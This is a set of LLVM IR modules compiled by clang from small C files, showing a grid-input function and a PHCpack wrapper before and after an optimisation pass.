; ModuleID = '<stdin>' source_filename = "/tmp/tmp23p_9rpu.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpsjkf7jh8.c' source_filename = "/tmp/tmpsjkf7jh8.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [14 x i8] c"Try again!%c\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @userInput(ptr noundef %0) #0 { %2 = alloca ptr, align 8 %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca i32, align 4 store ptr %0, ptr %2, align 8 store i32 0, ptr %4, align 4 br label %6 6: ; preds = %48, %1 %7 = load i32, ptr %4, align 4 %8 = icmp slt i32 %7, 9 br i1 %8, label %9, label %51 9: ; preds = %6 store i32 0, ptr %3, align 4 br label %10 10: ; preds = %44, %9 %11 = load i32, ptr %3, align 4 %12 = icmp slt i32 %11, 9 br i1 %12, label %13, label %47 13: ; preds = %10 store i32 10, ptr %5, align 4 %14 = load ptr, ptr %2, align 8 %15 = load i32, ptr %3, align 4 %16 = sext i32 %15 to i64 %17 = getelementptr inbounds [9 x i32], ptr %14, i64 %16 %18 = load i32, ptr %4, align 4 %19 = sext i32 %18 to i64 %20 = getelementptr inbounds [9 x i32], ptr %17, i64 0, i64 %19 store i32 10, ptr %20, align 4 %21 = load ptr, ptr %2, align 8 %22 = call i32 @printGrid(ptr noundef %21) br label %23 23: ; preds = %32, %13 %24 = load i32, ptr %5, align 4 %25 = icmp sge i32 %24, 0 br i1 %25, label %26, label %29 26: ; preds = %23 %27 = load i32, ptr %5, align 4 %28 = icmp sle i32 %27, 9 br label %29 29: ; preds = %26, %23 %30 = phi i1 [ false, %23 ], [ %28, %26 ] %31 = xor i1 %30, true br i1 %31, label %32, label %35 32: ; preds = %29 %33 = call i32 (...) @getch() %34 = call i32 @digitConverter(i32 noundef %33) store i32 %34, ptr %5, align 4 br label %23, !llvm.loop !6 35: ; preds = %29 %36 = load i32, ptr %5, align 4 %37 = load ptr, ptr %2, align 8 %38 = load i32, ptr %3, align 4 %39 = sext i32 %38 to i64 %40 = getelementptr inbounds [9 x i32], ptr %37, i64 %39 %41 = load i32, ptr %4, align 4 %42 = sext i32 %41 to i64 %43 = getelementptr inbounds [9 x i32], ptr %40, i64 0, i64 %42 store i32 %36, ptr %43, align 4 br label %44 44: ; preds = %35 %45 = load i32, ptr %3, align 4 %46 = add nsw i32 %45, 1 store i32 %46, ptr %3, align 4 br label %10, !llvm.loop !8 47: ; preds = %10 br label %48 48: ; preds = %47 %49 = load i32, ptr %4, align 4 %50 = add nsw i32 %49, 1 store i32 %50, ptr %4, align 4 br label %6, !llvm.loop !9 51: ; preds = %6 %52 = load ptr, ptr %2, align 8 %53 = call i64 @validity(ptr noundef %52) %54 = icmp eq i64 %53, 0 br i1 %54, label %55, label %60 55: ; preds = %51 %56 = call i32 @printf(ptr noundef @.str, i32 noundef 7) %57 = load ptr, ptr %2, align 8 %58 = call i32 @initialize(ptr noundef %57) %59 = load ptr, ptr %2, align 8 call void @userInput(ptr noundef %59) br label %60 60: ; preds = %55, %51 ret void } declare i32 @printGrid(ptr noundef) #1 declare i32 @digitConverter(i32 noundef) #1 declare i32 @getch(...) #1 declare i64 @validity(ptr noundef) #1 declare i32 @printf(ptr noundef, i32 noundef) #1 declare i32 @initialize(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"} !8 = distinct !{!8, !7} !9 = distinct !{!9, !7}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpsjkf7jh8.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [14 x i8] c"Try again!%c\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @userInput(ptr noundef %0) #0 { %2 = alloca ptr, align 8 %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca i32, align 4 store ptr %0, ptr %2, align 8 store i32 0, ptr %4, align 4 %6 = load i32, ptr %4, align 4 %7 = icmp slt i32 %6, 9 br i1 %7, label %.lr.ph2, label %53 .lr.ph2: ; preds = %1 br label %8 8: ; preds = %.lr.ph2, %48 store i32 0, ptr %3, align 4 %9 = load i32, ptr %3, align 4 %10 = icmp slt i32 %9, 9 br i1 %10, label %.lr.ph, label %47 .lr.ph: ; preds = %8 br label %11 11: ; preds = %.lr.ph, %42 store i32 10, ptr %5, align 4 %12 = load ptr, ptr %2, align 8 %13 = load i32, ptr %3, align 4 %14 = sext i32 %13 to i64 %15 = getelementptr inbounds [9 x i32], ptr %12, i64 %14 %16 = load i32, ptr %4, align 4 %17 = sext i32 %16 to i64 %18 = getelementptr inbounds [9 x i32], ptr %15, i64 0, i64 %17 store i32 10, ptr %18, align 4 %19 = load ptr, ptr %2, align 8 %20 = call i32 @printGrid(ptr noundef %19) br label %21 21: ; preds = %30, %11 %22 = load i32, ptr %5, align 4 %23 = icmp sge i32 %22, 0 br i1 %23, label %24, label %27 24: ; preds = %21 %25 = load i32, ptr %5, align 4 %26 = icmp sle i32 %25, 9 br label %27 27: ; preds = %24, %21 %28 = phi i1 [ false, %21 ], [ %26, %24 ] %29 = xor i1 %28, true br i1 %29, label %30, label %33 30: ; preds = %27 %31 = call i32 (...) @getch() %32 = call i32 @digitConverter(i32 noundef %31) store i32 %32, ptr %5, align 4 br label %21, !llvm.loop !6 33: ; preds = %27 %34 = load i32, ptr %5, align 4 %35 = load ptr, ptr %2, align 8 %36 = load i32, ptr %3, align 4 %37 = sext i32 %36 to i64 %38 = getelementptr inbounds [9 x i32], ptr %35, i64 %37 %39 = load i32, ptr %4, align 4 %40 = sext i32 %39 to i64 %41 = getelementptr inbounds [9 x i32], ptr %38, i64 0, i64 %40 store i32 %34, ptr %41, align 4 br label %42 42: ; preds = %33 %43 = load i32, ptr %3, align 4 %44 = add nsw i32 %43, 1 store i32 %44, ptr %3, align 4 %45 = load i32, ptr %3, align 4 %46 = icmp slt i32 %45, 9 br i1 %46, label %11, label %._crit_edge, !llvm.loop !8 ._crit_edge: ; preds = %42 br label %47 47: ; preds = %._crit_edge, %8 br label %48 48: ; preds = %47 %49 = load i32, ptr %4, align 4 %50 = add nsw i32 %49, 1 store i32 %50, ptr %4, align 4 %51 = load i32, ptr %4, align 4 %52 = icmp slt i32 %51, 9 br i1 %52, label %8, label %._crit_edge3, !llvm.loop !9 ._crit_edge3: ; preds = %48 br label %53 53: ; preds = %._crit_edge3, %1 %54 = load ptr, ptr %2, align 8 %55 = call i64 @validity(ptr noundef %54) %56 = icmp eq i64 %55, 0 br i1 %56, label %57, label %62 57: ; preds = %53 %58 = call i32 @printf(ptr noundef @.str, i32 noundef 7) %59 = load ptr, ptr %2, align 8 %60 = call i32 @initialize(ptr noundef %59) %61 = load ptr, ptr %2, align 8 call void @userInput(ptr noundef %61) br label %62 62: ; preds = %57, %53 ret void } declare i32 @printGrid(ptr noundef) #1 declare i32 @digitConverter(i32 noundef) #1 declare i32 @getch(...) #1 declare i64 @validity(ptr noundef) #1 declare i32 @printf(ptr noundef, i32 noundef) #1 declare i32 @initialize(ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"} !8 = distinct !{!8, !7} !9 = distinct !{!9, !7}
; ModuleID = '/tmp/tmphv_3i7ea.c' source_filename = "/tmp/tmphv_3i7ea.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @numbtrop_quaddobl_clear() #0 { %1 = alloca i32, align 4 %2 = alloca ptr, align 8 %3 = alloca ptr, align 8 %4 = alloca ptr, align 8 %5 = load ptr, ptr %2, align 8 %6 = load ptr, ptr %3, align 8 %7 = load ptr, ptr %4, align 8 %8 = call i32 @_ada_use_c2phc(i32 noundef 728, ptr noundef %5, ptr noundef %6, ptr noundef %7) store i32 %8, ptr %1, align 4 %9 = load i32, ptr %1, align 4 ret i32 %9 } declare i32 @_ada_use_c2phc(i32 noundef, ptr noundef, ptr noundef, ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmphv_3i7ea.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @numbtrop_quaddobl_clear() #0 { %1 = alloca i32, align 4 %2 = alloca ptr, align 8 %3 = alloca ptr, align 8 %4 = alloca ptr, align 8 %5 = load ptr, ptr %2, align 8 %6 = load ptr, ptr %3, align 8 %7 = load ptr, ptr %4, align 8 %8 = call i32 @_ada_use_c2phc(i32 noundef 728, ptr noundef %5, ptr noundef %6, ptr noundef %7) store i32 %8, ptr %1, align 4 %9 = load i32, ptr %1, align 4 ret i32 %9 } declare i32 @_ada_use_c2phc(i32 noundef, ptr noundef, ptr noundef, ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}